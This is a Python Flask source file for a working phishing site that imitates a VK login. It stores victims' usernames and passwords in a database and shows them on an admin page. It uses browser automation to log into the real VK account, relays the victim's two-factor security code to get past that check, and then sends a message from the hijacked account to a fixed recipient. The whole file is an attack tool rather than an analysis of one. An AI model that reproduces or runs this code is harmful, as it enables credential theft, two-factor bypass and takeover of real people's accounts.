from flask import Flask, render_template, request, redirect
from flask_sqlalchemy import SQLAlchemy
from datetime import datetime
from splinter import Browser
import time

def enter_login():
    login = request.form['login']
    password = request.form['password']
    new_cred = Creds(login=login, password=password)

    db.session.add(new_cred)
    db.session.commit()

    global browser
    browser = Browser('firefox', headless=False)

    browser.visit('http://www.vk.com')

    while browser.is_text_not_present('Install our official mobile app and stay in touch with your friends anytime and anywhere.'):
        pass

    browser.find_by_name('email')[1].fill(login)
    browser.find_by_name('pass')[1].fill(password)
    button = browser.find_by_id('index_login_button')[0]
    button.click()

    while browser.title == 'Welcome&#33; | VK':
        pass

    while browser.is_text_present('Confirm action'):
        pass

    if browser.is_text_present('Failed to log in.'):
        return redirect('/wrongpass/')
    else:
        if browser.is_text_present('Security Check') or browser.is_text_present('Проверка безопасности'):
            return redirect('/authcheck/')
        else:
            payload()
            return redirect('/')


def payload():
    while browser.url != 'https://vk.com/im?sel=22191973':
        browser.visit('https://vk.com/im?sel=22191973')

    while browser.title != 'Messages':
        pass

    browser.find_by_id('im_editable22191973')[0].fill('Privet\n')
    time.sleep(10)
    browser.quit()


app = Flask(__name__)
app.config['SQLALCHEMY_DATABASE_URI'] = 'sqlite:///creds.db'
db = SQLAlchemy(app)

class Creds(db.Model):
    id = db.Column(db.Integer, primary_key=True)
    login = db.Column(db.String(50), nullable=False)
    password = db.Column(db.String(50), nullable=False)
    date_created = db.Column(db.DateTime, default=datetime.utcnow)

    def __repr__(self):
        return '<Cred %r>' % self.id


@app.route('/')
def index():
    return render_template("index.html")


@app.route('/login/', methods=['POST', 'GET'])
def login():
    if request.method == 'POST':
        return enter_login()
    else:
        return render_template("login.html")


@app.route('/wrongpass/', methods=['POST', 'GET'])
def wrongpass():
    if request.method == 'POST':
        return enter_login()
    else:
        return render_template("wrongpass.html")


@app.route('/authcheck/', methods=['POST', 'GET'])
def authcheck():
    if request.method == 'POST':
        auth_code = request.form['auth_code']

        browser.find_by_id('authcheck_code')[0].fill(auth_code)
        button = browser.find_by_id('login_authcheck_submit_btn')[0]
        button.click()

        payload()

        return redirect('/')

    else:
        return render_template("authcheck.html")


@app.route('/admin/')
def admin():
    creds = Creds.query.order_by(Creds.date_created).all()
    return render_template('admin.html', creds=creds)


@app.route('/delete_cred/<int:id>')
def delete_cred(id):
    if id != 0:
        cred_to_delete = Creds.query.get_or_404(id)

        try:
            db.session.delete(cred_to_delete)
            db.session.commit()
            return redirect('/admin/')
        except:
            return 'Error deleting credentials'
    else:
        try:
            Creds.query.delete()
            db.session.commit()
            return redirect('/admin/')
        except:
            return 'Error deleting credentials'


if __name__ == "__main__":
    #app.run(debug=True, host='0.0.0.0', port=80)
    app.run(debug=True)
